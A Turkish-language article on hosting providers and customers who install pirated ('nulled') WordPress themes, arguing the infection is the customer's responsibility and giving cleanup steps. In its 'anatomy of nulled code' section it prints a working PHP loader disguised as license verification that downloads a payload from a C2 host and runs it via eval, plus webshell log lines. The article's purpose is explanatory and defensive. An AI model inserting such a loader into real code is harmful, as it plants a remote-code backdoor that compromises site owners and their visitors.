Acil servise elinde paslı bir çiviyle gelip, "Ben bu çiviyi bilerek topuğuma çaktım ama siz şimdi neden kanı durduramıyorsunuz ve ayakkabımın derisini parlatmıyorsunuz?" diye bağıran bir hasta hayal edin. Triyaj hekimi tetanos aşısını hazırlar, yarayı debride eder, antibiyotik protokolünü açar; fakat hastanın derdi enfeksiyonla mücadele etmek değil, çivinin batmasına sebep olan eyleminin faturasını acil servis personeline kesmektir.

Web hosting ve altyapı sektöründe her gün saat 14:00 ile 17:00 arasında nöbetçi sistem mühendislerinin önüne düşen yüksek öncelikli destek biletlerinin yarısı tam olarak bu klinik tablonun dijital kopyasıdır:

"Siteme virüs bulaşmış! Google Chrome kırmızı ekran veriyor, sitem 'Tehlikeli Site' diye engellendi! Acil temizleyin, ben size her ay 45 TL hosting parası ödüyorum, sizin göreviniz sitemi korumak değil mi? Eğer 1 saat içinde açılmazsa CİMER'e ve Tüketici Hakem Heyeti'ne şikayet edeceğim!"

Bu feryadın arka planında yatan gerçeklik nadiren karmaşık bir sıfır gün (zero-day) istismarı veya devlet destekli APT saldırısıdır. Vakaların %98'inde operasyon odasındaki adli bilişim incelemesi şu yalın tabloyu ortaya çıkarır: Müşteri, Envato veya ThemeForest üzerinde 59 dolara satılan popüler bir e-ticaret temasını ya da WooCommerce eklentisini satın almamak için arama motoruna "wp-rocket latest version free download nulled" yazmış, Rus veya Vietnam menşeli bir warez forumundan indirdiği ZIP dosyasını wp-content/plugins/ dizinine FTP ile yüklemiş ve aktivasyon butonuna basmıştır.

Sonuç: 3 katmanlı base64_decode(gzinflate(str_rot13(...))) ile gizlenmiş bir PHP webshell, WordPress veritabanı bağlantı bilgilerini ele geçirmiş, index.php ve wp-config.php dosyalarının tepesine spam reklam enjeksiyonu yapmış, sunucunun saatte 10.000 adet phishing e-postası atmasına yol açmış ve sitenin tüm ziyaretçilerini sahte bahis platformlarına yönlendirmeye başlamıştır.

Ve bu tablonun faturası, müşterinin zihninde hosting firmasına aittir. Çünkü Türkiye'deki genel dijital algıda hosting firması bir "sunucu kiralama ve barındırma sağlayıcısı" değil, müşterinin her türlü cehaletini ücretsiz temizlemekle yükümlü bir "dijital temizlik şirketi ve kişisel antivirüs koruması" olarak kodlanmıştır.

Arsa Sahibi ile Müteahhit Paradoksu: Sorumluluk Sınırları Nerede Biter?

Hosting sektörünün en büyük pedagojik krizi, "Altyapı (IaaS/PaaS)" ile "Uygulama Katmanı (Application Layer)" arasındaki ayrımın müşteriye asla anlatılamamış olmasıdır.

Basit bir gayrimenkul analojisi kuralım:
Bir hosting sağlayıcısından paylaşımlı hosting veya sanal sunucu (VDS) satın aldığınızda, aslında dijital bir siteden güvenli, elektrik ve su tesisatı hazır, dış kapısında güvenlik görevlisi bulunan bir arsa veya boş bir daire kiralarsınız.

  • Hosting Sağlayıcısının Görevi: Binanın ana taşıyıcı kolonlarını sağlam tutmak (Donanım sağlığı), binanın elektrik ve internet hattını kesintisiz beslemek (Şebeke/Bant genişliği), komşu dairelerin birbirinin kapısını kırmasını engellemek (CloudLinux CageFS, sanallaştırma izolasyonu) ve binanın ana giriş kapısını korumaktır (Firewall, DDoS koruması).
  • Müşterinin Görevi: Kiraladığı dairenin içine aldığı mobilyaların, daire kapısının kilidinin ve içeriye davet ettiği misafirlerin güvenliğini sağlamaktır.

Müşteri kendi dairesinin kapısını sonuna kadar açıp, kapının üzerine "İçeride değerli eşyalar var, anahtar paspasın altında" yazan bir tabela asar (Nulled eklenti yüklemek, 777 dosya izinleri vermek, admin kullanıcısına 123456 şifresi koymak). Hırsızlar içeri girip daireyi soyduğunda ve oturma odasında sahte para basmaya başladığında, müşteri site yönetimine koşup "Siz ne biçim güvenliksiniz, benim salonumu hırsızlar kirletti, gelin koltuklarımı deterjanla silin ve çalınan televizyonumu bulun!" diye hesap soramaz.

Fakat hosting destek panelinde sorar. Çünkü 45 liralık hosting faturasının arkasında sınırsız bir kölelik sözleşmesi satın aldığını varsaymaktadır.

Nulled Kodun Anatomisi: "Bedava Peynir Sadece Kapanında Olur"

Peki warez sitelerinden indirilen o "ücretsiz" temaların içinde gerçekte ne vardır? Hiç kimse 6 ay boyunca emek verip kodladığı 60 dolarlık bir eklentiyi babasının hayrına kırıp (nulling) internete bedava dağıtmaz.

Tipik bir functions.php veya eklenti ana çekirdeğinde karşılaşılan kod bloğu genellikle şu yapıdadır:

<?php
// Silenced execution - Gizlenmiş Truva Atı Enjeksiyonu
if (!function_exists('__theme_license_verify_core')) {
    function __theme_license_verify_core() {
        $remote_payload_url = "https://cdn-update-auth-gateway[.]top/payload.txt";
        $cache_file = sys_get_temp_dir() . '/.sess_auth_cache_lock';
        
        // 24 saatte bir komuta kontrol (C2) sunucusundan güncel webshell payload'ı çek
        if (!file_exists($cache_file) || (time() - filemtime($cache_file) > 86400)) {
            $ctx = stream_context_create(['http' => ['timeout' => 5]]);
            $raw_code = @file_get_contents($remote_payload_url, false, $ctx);
            if ($raw_code) {
                @file_put_contents($cache_file, $raw_code);
            }
        }
        
        if (file_exists($cache_file)) {
            $payload = @file_get_contents($cache_file);
            // eval injection zinciri
            if (!empty($payload)) {
                @eval(gzinflate(base64_decode($payload)));
            }
        }
    }
    add_action('init', '__theme_license_verify_core');
}

Bu kod parçası ilk gün hiçbir zararlı davranış sergilemez. Site sahibi temayı kurar, demo içeriği içe aktarır, renkleri ayarlar ve "Bak ne güzel çalışıyor, 60 dolar vermekten kurtuldum, hostingçiye de para kaptırmadım" diyerek sevinir.

Ancak kuluçka dönemi sona erdiğinde:

  1. Dinamik Backdoor İndirme: C2 sunucusu aktifleşir ve sistemin içine WSO WebShell veya Alfa Team Shell türevi tam yetkili bir dosya yöneticisi bırakır.
  2. SEO Zehirlemesi (Spam Injection): Arama motoru botları (Googlebot, Bingbot) siteyi ziyaret ettiğinde HTTP User-Agent kontrolü yapılarak gizli kumar, takviye gıda veya replika çanta linkleri gösterilirken, normal kullanıcılara normal site gösterilir (Cloaking).
  3. Phishing & Mail Relay: Sunucu üzerinden saatte binlerce sahte banka veya e-devlet bildirimi gönderilir. Sunucunun IP adresi Spamhaus, Barracuda ve UCEPROTECT listelerine girer.
  4. Veritabanı Sızıntısı: Müşteri siparişleri, kredi kartı ödeme bildirimleri (eğer saklanıyorsa) ve kullanıcı şifre karmaları dışarı aktarılır.

Ve tam bu aşamada hosting firmasının otomatik güvenlik tarayıcısı (Maldet, cPP, Imunify360) devreye girer.

Triyaj Protokolü: Karantina Neden Zorunludur?

Bir paylaşımlı sunucuda barınan bir sitenin spam yaymaya veya phishing sayfası sunmaya başladığı tespit edildiğinde, sistem mühendisinin önündeki tablo 112 Acil Tıp'taki aktif sepsis ve bulaşıcı salgın senaryosudur.

Eğer hastanenin genel cerrahi koğuşundaki bir hastada çoklu ilaca dirençli ölümcül bir enfeksiyon (örneğin MRSA veya VRE) tespit edilirse, hekim hastayı koğuşta bırakıp diğer hastalarla sohbet etmesine izin vermez. Hasta derhal izolasyon odasına alınır, temas izolasyonu başlatılır ve ziyaretçi girişi kapatılır.

# Sistem Mühendisinin Gece Yarısı Gördüğü Tablo
# /var/log/nginx/access.log & exim mailq analizi
 
[root@node-44 ~]# exim -bpc
18492  <-- Sırada bekleyen 18 bin spam mail!
 
[root@node-44 ~]# grep "POST /wp-content/uploads" /var/log/httpd/domains/ornekfirma.com.log | head -n 5
185.220.101.4 - - [02/Apr/2026:03:14:22 +0300] "POST /wp-content/uploads/2026/03/license.php HTTP/1.1" 200 4821
185.220.101.4 - - [02/Apr/2026:03:14:25 +0300] "POST /wp-content/uploads/2026/03/license.php?act=cmd HTTP/1.1" 200 1204

Bu aşamada sistem yöneticisi ne yapar?

  1. Hesabın web erişimini 403 Forbidden veya askıya alma (suspension) sayfasına çeker.
  2. Giden posta fonksiyonunu (sendmail / mail()) kilitler.
  3. Müşteriye ayrıntılı bir bildirim bileti açar:
    "Hesabınızda tespit edilen zararlı yazılımlar ve aşırı spam çıkışı nedeniyle hizmetiniz diğer müşterilerimizin IP itibarını ve sunucu sağlığını korumak adına geçici olarak askıya alınmıştır. Enfekte dosyaların listesi ektedir. Lütfen sitenizi temizleyiniz veya temiz bir yedekten geri dönünüz."

Ve işte o an, müşteri destek biletinde infilak eder:
"Siz benim ekmeğimle oynuyorsunuz! Benim sitem ticaret sitesi, müşterilerim giremiyor! Benim siteme nasıl virüs sokarsınız? Sizin antivirüsünüz yok mu? Ben yazılımcı mıyım, dosyayı ben nasıl temizleyeyim? Derhal temizleyip açın, yoksa avukatıma veriyorum!"

"Antivirüsünüz Neden Engellemedi?" Yanılgısı

Müşterinin en sık başvurduğu savunma mekanizması şudur: "Ben sunucunuza dosya yüklerken antivirüsünüz neden engellemedi? Demek ki sizin güvenliğiniz sıfır!"

Bu argüman, tıp fakültesinin birinci sınıf öğrencisinin bile çürütebileceği bir biyolojik cehalettir.
Bir insan kendi isteğiyle ağzından siyanür içerse, hastanenin havalandırma filtresini veya bina girişindeki dezenfektan paspasını suçlayabilir mi?

  1. İzinli Yükleme (Legitimate Upload): Nulled eklentiyi sunucuya dışarıdan bir hacker yüklemedi; bizzat sunucu sahibi, geçerli cPanel/FTP kimlik bilgileriyle POST veya PUT isteği yaparak yükledi. Güvenlik duvarı (WAF) için bu işlem, yetkili kullanıcının meşru bir dosya transferidir.
  2. Polimorfik ve Dinamik Yükler: Gelişmiş webshell'ler yükleme esnasında statik bir imza içermez. Dosya yalnızca 3 satırlık zararsız bir curl fonksiyonudur; zararlı yükü (payload) site çalıştıktan sonra bellek içine dinamik çeker. Bellekte çalışan bir PHP betiğini statik dosya tarayıcısıyla yakalamak, hasta belirti göstermeden kandaki virüsün DNA dizilimini tahmin etmeye benzer.
  3. Uygulama Katmanı Güvenliği: Bir PHP dosyasının içinde eval($_POST['x']) yazıyorsa, bu kod PHP yorumlayıcısı için meşru bir koddur. Sunucu, kullanıcının yazdığı kodun bir hata ayıklama aracı mı yoksa Rus hacker'a açılmış bir arka kapı mı olduğunu bilmekle yükümlü değildir; olamaz.

Neden Hosting Firması Sitenizi "Temizleyemez"?

Müşterinin ikinci büyük beklentisi: "Siz sunucu uzmanısınız, 5 dakikada temizleyiverin işte."

Bir hosting firmasının müşterinin WordPress çekirdeğine, temasının veritabanına ve fonksiyon dosyalarına girip manuel temizlik yapması üç nedenden dolayı kesinlikle imkansız ve yasaktır:

  1. Hukuki ve Veri Bütünlüğü Riski (Liability):
    Bir WordPress sitesine bulaşan gelişmiş bir kötü amaçlı yazılım, veritabanındaki wp_posts tablosundaki binlerce ürün açıklamasına iframe enjekte etmiş olabilir. Destek uzmanı bir regex scripti çalıştırıp temizlik yaparken müşterinin 5 yıllık blog yazılarını veya ürün varyasyonlarını bozarsa, müşteri anında "Hosting firması veritabanımı sildi, zararımı tazmin edin" davası açacaktır. Hiçbir kurumsal hosting şirketi 45 TL'lik bir fatura için bu hukuki sorumluluğun altına girmez.
  2. Re-Enfeksiyon (Yeniden Bulaşma) Kaçınılmazlığı:
    Temizlik, enfeksiyonun kaynağı kurutulmadıkça anlamsızdır. Sitedeki 100 adet zararlı PHP dosyasını silseniz bile, müşteri hala o warez temayı kullanmaya devam ediyorsa, tema ilk cron tetiklenmesinde aynı dosyaları C2 sunucusundan tekrar indirecektir. Bu, kangren olmuş bir bacağı kesmeyip sadece üzerine yara bandı yapıştırmaya benzer.
  3. Ekonomik ve Operasyonel Gerçeklik:
    Bir paylaşımlı sunucuda 800 adet web sitesi barınır. Eğer hosting firması her nulled tema kuran müşterinin sitesini manuel dezenfekte etmeye kalkarsa, her site için en az 4 saatlik kıdemli güvenlik uzmanı mesaisi gerekir. 4 saatlik uzman mesaisinin piyasa bedeli en az 150-200 dolardır. 2 dolarlık hosting paketi satan bir firmanın bu hizmeti vermesini beklemek, belediye otobüsü bileti alıp şoförden kendisini limuzinle evinin salonuna kadar taşımasını istemektir.

İyileşme Reçetesi: Enfekte Bir WordPress Nasıl Hayata Döndürülür?

Korsan yazılım batağına saplanmış ve sitesi karantinaya alınmış bir web sitesi sahibinin takip etmesi gereken gerçekçi klinik protokol şudur:

  1. İnkar Aşamasını Terk Edin:
    Hosting firmasıyla bilet üzerinden kavga etmeyi bırakın. Suçlu sunucu altyapısı değil, bedava tema kullanma hırsınızdır.
  2. Karantina Altında Yedek Alma:
    Mevcut enfekte haliyle sitenin dosya ve veritabanı yedeğini bilgisayarınıza indirin (adli analiz ve kaybolabilecek metinler için).
  3. Tam Debridman (Radikal Temizlik):
    • Sunucudaki wp-content/themes ve wp-content/plugins dizinlerindeki şüpheli tüm eklenti ve temaları tamamen silin.
    • wp-admin ve wp-includes klasörlerini doğrudan resmi wordpress.org kaynaklarından indirilen orijinal dosyalarla değiştirin.
    • Kök dizindeki index.php, wp-config.php, .htaccess dosyalarını satır satır inceleyin; base64, eval, gzinflate içeren yabancı blokları temizleyin.
    • wp-config.php içindeki tüm güvenlik tuzlarını (Salt keys) api.wordpress.org/secret-key/1.1/salt/ adresinden yenileyin (böylece mevcut oturum açmış tüm hacker oturumları düşer).
  4. Lisanslı Yazılıma Geçiş:
    Temayı resmi geliştiricisinden satın alın. 59 dolar ödemekten kaçındığınız temanın temizlik maliyeti, itibar kaybı ve Google kara liste cezası size en az 500 dolara ve haftalarca süren ciro kaybına mal olmuştur.
  5. Veritabanı Sanitizasyonu:
    wp_users tablosunu kontrol edin, bilginiz dışında açılmış administrator yetkisine sahip yabancı kullanıcıları silin. wp_options tablosunda active_plugins ve siteurl değerlerini teyit edin.
  6. Güvenlik İncelemesi ve Talep:
    Temizlik tamamlandıktan sonra hosting desteğine bilet açarak taramanın tekrarlanmasını ve sitenin yayına alınmasını rica edin.

Sonuç: Dijital Hijyen Bir Tercih Değil, Hayatta Kalma Refleksidir

Hastanelerin ameliyathaneleri neden pozitif basınçlı hepa filtrelerle korunur ve içeri giren her cerrah dakikalarca ellerini fırçalar? Çünkü steril alana giren tek bir mikrop, saatler süren başarılı bir kalp ameliyatını sepsisle ve hastanın ölümüyle sonuçlandırabilir.

Web barındırma dünyası da farksızdır. Bir paylaşımlı sunucu ekosisteminde barınırken internetten kaynağı belirsiz, kimin kodladığı bilinmeyen "kırılmış" yazılımları sunucunuza yüklemek; ameliyathaneye sokak çamuruyla girmekten farksızdır.

Hosting sağlayıcısı sizin dijital dadınız, kişisel antivirüs teknisyeniniz veya bedava güvenlik danışmanınız değildir. Size stabil bir çalışma ortamı, hızlı bir ağ omurgası ve izole bir alan tahsis eder. O alanın içinde ne çalıştırdığınız, hangi kodla nefes alıp verdiğiniz tamamen sizin sorumluluğunuzdadır.

Korsan tema kullanıp faturayı altyapı sağlayıcısına kesmeye çalışmak; kendi yaktığı ateşin dumanında boğulurken itfaiyeye "Neden odamın havasını parfümle temizlemiyorsunuz?" diye bağıran bir çaresizlikten ibarettir. Dijital dünyada ucuz etin yahnisi olmaz; bedava dağıtılan temanın bedeli ise daima sunucunuzun şeref ve itibar defterinden tahsil edilir.